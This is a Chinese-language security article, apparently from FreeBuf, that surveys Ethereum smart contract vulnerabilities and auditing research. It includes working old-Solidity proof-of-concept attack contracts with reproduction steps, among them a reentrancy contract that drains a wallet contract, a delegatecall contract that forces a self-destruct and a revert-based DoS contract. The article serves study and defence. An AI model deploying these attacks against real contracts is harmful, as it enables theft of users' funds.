*本文中涉及到的相关漏洞已报送厂商并得到修复，本文仅限技术研究与讨论，严禁用于非法用途，否则产生的一切后果自行承担。

*本文原创作者：x565178035，本文属FreeBuf原创奖励计划，未经许可禁止转载

根据腾讯腾讯安全2018上半年区块链安全报告，智能合约引发的安全问题以成为区块链自身机制安全性的主要问题，本文就目前文献中提到的主流安全性问题做出总结，并列出目前的相关研究。

整形溢出(Arithmetic Issues)

如下代码，如果没有assert判断，那么sellerBalance+value可能会超出uint上限制导致溢出。

pragma solidity ^0.4.15;
contract Overflow {
    uint private sellerBalance=0;
    function add(uint value) returns (bool, uint){
        sellerBalance += value; // complicated math with possible overflow
        // possible auditor assert
        assert(sellerBalance >= value);
    }
}

危险的delegatecall(dangerous delegatecall)[contractfuzzer]

首先需要了解call和delegatecall的区别：call和delegatecall都为合约相互调用时的函数，假设A调用B函数，call方法结果展示到B中，delegatecall方法结果展示到A中。

在如下示例中，Mark如果用delegatecall调用了恶意合约Steal，那么Mark合约会被删除。

复现：

1.用A账户部署Steal，用B账户部署Mark合约，并在部署时为合约附加10个ether。

2.账户B调用Mark.call(address(Steal))，即用B调用Steal的Innocence方法，实际上innocence会在Mark的上下文环境运行，发现账户B收到合约的10 ether（注意不是A账户)

3.用C账户执行Mark.deposit()方法，并附加10ether，再调用destruct方法，发现B无法收到10ether，说明合约确实已经在第二步被销毁。

pragma solidity ^0.4.2;
contract Steal{
    address owner;
    constructor () payable {
        owner = msg.sender;
    }
    function innocence() {
        log0("123");
        selfdestruct(owner);
    }
}
contract Mark {
    address owner;
    constructor () payable {
        owner = msg.sender;
    }
    function Deposit() payable {}
    function call(address a) {
        a.delegatecall(bytes4(keccak256("innocence()")));
    }
}

无Gas发送(Gasless Send)[contractfuzzer]

合约C调用合约D1时，由于fallback函数修改了storage变量——这是一个消耗大量gas的操作——导致了超过fallback的gas上限(2300gas)导致fallback失败，调用D2时，由于没有超过上限，调用成功。

复现：

1.用10ether部署C合约，0ether部署D1合约，0ether部署D2合约

2.调用C.pay(1000000000000000000, address(D1))，D1的count值仍为0

3.调用D1.kill()，以太币不增加。2,3两步说明了D1的fallback调用失败

4.调用C.pay(1000000000000000000,address(D2))

5.调用D2.kill()，发现账户增加1ether，说明D2的fallback调用成功

pragma solidity ^0.4.2;
contract C {
    address owner;
    constructor () payable{
        owner=msg.sender;
    }
    function pay(uint n, address d){
        d.send(n);
    }
    function kill() {
       if (owner == msg.sender) {
          selfdestruct(owner);
       }
    }
}
contract D1 {
    address owner;
    uint public count = 0;
    constructor () payable{
        owner=msg.sender;
    }
    function() payable {
        count = count+1;
    }
    function kill() {
       if (owner == msg.sender) {
          selfdestruct(owner);
       }
    }
}
contract D2  {
    address owner;
    constructor () payable{
        owner=msg.sender;
    }
    function() payable {}
    function kill() {
       if (owner == msg.sender) {
          selfdestruct(owner);
       }
    }
}

依赖于交易顺序/条件竞争(TOD/Front Running)[smarter]

由于：

1.只有当交易被打包进区块时，他才是不可更改的

2.区块会优先打包gasprice更高的交易

所以攻击者可以恶意操控交易顺序从而使合约对自己有利。如图，出题人和做题人同时发起合约，那么做题人得到的奖励因合约执行顺序不同而不同。

再例如ERC20标准中的approve，整个流程是这样的：

1.用户A授权用户B 100代币的额度

2.用户A觉得100代币的额度太高了，再次调用approve试图把额度改为50

3.用户B在待交易处（打包前）看到了这笔交易

4.用户B构造一笔提取100代币的交易，通过条件竞争将这笔交易打包到了修改额度之前，成功提取了100代币

5.用户B发起了第二次交易，提取50代币，用户B成功拥有了150代币

function approve(address _spender, uint256 _value) public returns (bool success){
    allowance[msg.sender][_spender] = _value;
    return true

依赖于时间戳(Timestamp Dependence/Time manipulation)[smarter]

攻击者可以修改区块的时间戳-900s以此获益。

未处理的异常(Mishandled Exceptions/Unchecked Return Values For Low Level Calls)[smarter]

例如合约KoET，攻击者可以控制函数调用次数（EVM限制调用深度为1024），从而导致send函数调用失败，但是接下来的代码会继续执行，这样前一个国王就无法得到报酬(compensation)。

Attacker：

复现失败，在Remix中运行递归会崩溃，在实际运行中由于Gas较高，无法交易（预算手续费大于30ether）。

重入漏洞(Reentrancy/DAO)[smarter][seebug1]

当外部账户或其他合约向一个合约地址发送ether时，会执行该合约的fallback函数（当调用合约时没有匹配到函数，也会调用没有名字的fallback函数）。且call.value()会将所有可用Gas给予外部调用（fallback函数），若在fallback函数中再调用withdraw函数，则会导致递归问题。攻击者可以部署一个恶意递归的合约将公共钱包这个合约账户里的Ether全部提出来。

复现：

1.账户A部署IDMoney合约，账户B部署Attack合约

2.账户A调用IDMoney()方法，并附加10ether

3.账户B部署Attack合约，附加2ether

4.账户B调用Attack.setVictim()方法，设置victim变量为IDMoney合约地址

5.账户B调用Attack.step1()方法，设置amount=1000000000000000000，即合约Attack调用合约IDMoney.deposit()方法

6.账户B调用Attack.step2()方法，设置amount=500000000000000000

7.账户B调用Attack.stopAttack()方法，获得IDMoney的所有余额（包括A的存款，严格说是合约中除了500000000000000000wei的余额）

pragma solidity ^0.4.19;
contract IDMoney{
    address _owner;
    mapping (address => uint256) balances;
    function IDMoney() {
        _owner = msg.sender;
    }
    function deposit() public payable {
        balances[msg.sender] += msg.value;
    }
    function withdraw(address to, uint256 amount) public payable {
        require(balances[msg.sender] >= amount);
        require(this.balance >= amount);
        log0(bytes32(address(this).balance/1e15));
        to.call.value(amount)();
        balances[msg.sender] -= amount;
    }
    function balanceof(address to) constant returns(uint256){
        return balances[to];
    }
}
contract Attack {
    address owner;
    address victim;
    modifier ownerOnly { require(owner == msg.sender); _; }
    function Attack() payable { owner = msg.sender; }
    // 设置已部署的 IDMoney 合约实例地址
    function setVictim(address target) ownerOnly { victim = target; }
    // deposit Ether to IDMoney deployed
    function step1(uint256 amount) ownerOnly payable {
        if (this.balance > amount) {
            victim.call.value(amount)(bytes4(keccak256("deposit()")));
        }
    }
    // withdraw Ether from IDMoney deployed
    function step2(uint256 amount) ownerOnly {
        victim.call(bytes4(keccak256("withdraw(address,uint256)")), this, amount);
    }
    // selfdestruct, send all balance to owner
    function stopAttack() ownerOnly {
        selfdestruct(owner);
    }
    function startAttack(uint256 amount) ownerOnly {
        step1(amount);
        step2(amount / 2);
    }
    function () payable {
        if (msg.sender == victim) {
            // 再次尝试调用 IDMoney 的 withdraw 函数，递归转币
            victim.call(bytes4(keccak256("withdraw(address,uint256)")), this, msg.value);
        }
    }
}

注意到合约IDMoney.withdraw()方法已经存在检查账户余额的代码，但是却未能生效，原因是递归调用时没有执行到balances[msg.sender] -= amount;，因此调用时，账户的余额是不变的，而真正导致递归调用退出的是require(this.balance >= amount);，这也是为何调用结束后合约还剩下amount数量的以太币的原因。有人会问，如果把这句话删掉呢？我本以为合约会报错，但是很遗憾，合约依然能够正常运行，并且合约中不再剩下任何以太币。

DoS攻击[DoS]

频繁调用某些Op(EXTCODESIZE和SUICIDE)，这些Op花费的Gas小，但是需要大量资源（计算资源，I/O），以此造成DoS，对以太坊合约进行 DoS 攻击，可能导致 Ether 和 Gas 的大量消耗，更严重的是让原本的合约代码逻辑无法正常运行。

复现：

1.账户A部署PresidentOfCountry合约设置_price为1e18（1ether）。

2.账户B调用PresidentOfCountry，并附加1ether，成为President，price=2ether

3.账户C部署Attack，调用start_attack(address(PresidentOfCountry))并附加2ether，账户C成为President，由于调用后PresidentOfCountry合约会调用Attack的fallback函数，而fallback函数的revert()抛出错误。

4.账户B调用PresidentOfCountry，并附加4ether，但是并不能称为President，说明合约代码无法正常运行。

pragma solidity ^0.4.10;
contract PresidentOfCountry {
    address public president;
    uint256 public price;
    constructor(uint256 _price) public payable {
        require(_price > 0);
        price = _price;
        president = msg.sender;
    }
    function becomePresident() payable {
        assert(msg.value >= price);  // must pay the price to become president
        president.transfer(price);   // we pay the previous president
        president = msg.sender;      // we crown the new president
        price = msg.value * 2;           // we double the price to become president
    }
}
contract Attack {
    function () { revert(); }
    function start_attack(address _target) payable {
        _target.call.value(msg.value)(bytes4(keccak256("becomePresident()")));
    }
}

说实话这里我也没太搞懂，为什么合约被C调用过就无法执行了Orz

重放攻击[blackhat2018]

如果合约存在相同的代码，则攻击者可以使用合约A函数的参数调用合约B。

/*
 * 付款人要为收款人转账，但是付款人没有足够的ETH，因此找一个代理人，并支付一定的代币作为代理费
 * @param _from     付款人
 * @param _to       收款人
 * @param _value    金额
 * @param feeUgt    代理费
 * @param _v        sig[0:66] #由付款人签名，即付款人确认付钱
 * @param _r        sig[66:130]
 * @param _s        sig[130:132]
 * 如果其他合约同样包含TransferProxy函数，并且实现相似，那么攻击者可以在B合约上重放函数参数，B合约会执行成功
 */
function transferProxy(address _from, address _to, uint256 _value, uint256 _feeUgt,
    uint8 _v,bytes32 _r, bytes32 _s) returns (bool){
    if(balances[_from] < _feeUgt + _value) throw;
    uint256 nonce = nonces[_from];
    bytes32 h = sha3(_from,_to,_value,_feeUgt,nonce);
    // ecrecover 验签函数
    if(_from != ecrecover(h,_v,_r,_s)) throw;
    if(balances[_to] + _value < balances[_to]
        || balances[msg.sender] + _feeUgt < balances[msg.sender]) throw;
    balances[_to] += _value;
    Transfer(_from, _to, _value);
    balances[msg.sender] += _feeUgt;
    Transfer(_from, msg.sender, _feeUgt);
    balances[_from] -= _value + _feeUgt;
    nonces[_from] = nonce + 1;
    return true;
}

变量覆盖[varreplace]

以如下代码为例，Solidity存储机制的问题，p初始化后的name、mappedAddress地址会与变量testA、testB地址重合，导致调用test函数给结构体p赋值后，变量testA和testB的值也会被覆盖。

复现：

1.调用TestContract.test()方法

2.检查testA和testB的值，已被改变

pragma solidity ^0.4.0;
contract  TestContract{
    int public testA;
    address public testB;
    struct Person {
        int name;
        address mappedAddress;
    }
    function test(int _name, address _mappedAddress) public{
        Person p;
        p.name = _name;    //testA被改变
        p.mappedAddress = _mappedAddress;    //testB被改变
    }
}

相关工作

DASP[dasp]总结了以太坊合约的Top10安全性问题

luu等人[smarter]设计一套基于符号执行的智能合约安全审计工具oyente（已做过演示，目前可以检测的漏洞有整形溢出，合约依赖交易顺序，依赖时间戳的漏洞，未处理异常和重入漏洞。

Nikolic[maian]等人设计了一套符号执行检测智能合约的工具MAIAN，这些问题包括合约永久锁定资金，资金可被恶意用户转账以及被任意用户杀死，我们选用了34200个合约（去重复后有2365个），我们抽样调查了3759个合约，得到89%的正确率。

jiang等人[contractfuzzer]设计了一套基于fuzz的智能合约审计工具ContractFuzzer，他们通过在EVM中插桩，以此获取程序在执行中产生的信息，通过预先设置的测试准则发现漏洞，他们设计的工具可以检测无Gas发送、Exception Disorder、重入漏洞、依赖于时间戳漏洞、依赖于区块高度漏洞、危险的Delegatecall、合约永久锁定资金7大安全性问题，经过试验，ContractFuzzer发现漏洞的准确率较高，但是相较于Oyente，此工具找到的漏洞数量较少。

Liu等人[ReGuard]构建了基于fuzz的智能合约检测工具，旨在检测合约中的重入漏洞，实验表明，相较于Oyente，该工具有更高的准确率，并且能发现更多数量的问题。

chen等人[DoS]通过动态调整Op执行的gas花费阻止DoS攻击（通过反复执行小gas的opcode，消耗系统资源造成dos）。

参考文献

[DoS]: Chen, Ting, et al. "An Adaptive Gas Cost Mechanism for Ethereum to Defend Against Under-Priced DoS Attacks." International Conference on Information Security Practice and Experience. Springer, Cham, 2017.

[smarter]: Luu, Loi, et al. "Making smart contracts smarter." Proceedings of the 2016 ACM SIGSAC Conference on Computer and Communications Security. ACM, 2016.

[blackhat2018]: Bai, Zhenxuan, et al. "Your May Have Paid More than You Imagine：Replay Attacks on Ethereum Smart Contracts." Blackhat. 2018

[seebug1]: 以太坊智能合约安全入门了解一下（上）,https://paper.seebug.org/601/

[contractfuzzer]: Bo Jiang, Ye Liu, and W.K. Chan. 2018. ContractFuzzer: Fuzzing Smart Contracts for Vulnerability Detection. In Proceedings ofthe 33rd IEEE/ACM International Conference on Automated Software Engineering (ASE’18), September 3–7, Montpellier, France, 10 pages.

[maian]: Ivica Nikolic, Aashish Kolluri, Ilya Sergey, Prateek Saxena, and Aquinas Hobor. 2018. Finding The Greedy, Prodigal, and Suicidal Contracts at Scale. (2018). DOI:https://doi.org/arXiv:1802.06038v1

[ReGuard]: Liu, C., Liu, H., Cao, Z., Chen, Z., Chen, B., & Roscoe, B. (2018). ReGuard: Finding reentrancy bugs in smart contracts. Proceedings - International Conference on Software Engineering, 65–68.https://doi.org/10.1145/3183440.3183495

*本文原创作者：x565178035，本文属FreeBuf原创奖励计划，未经许可禁止转载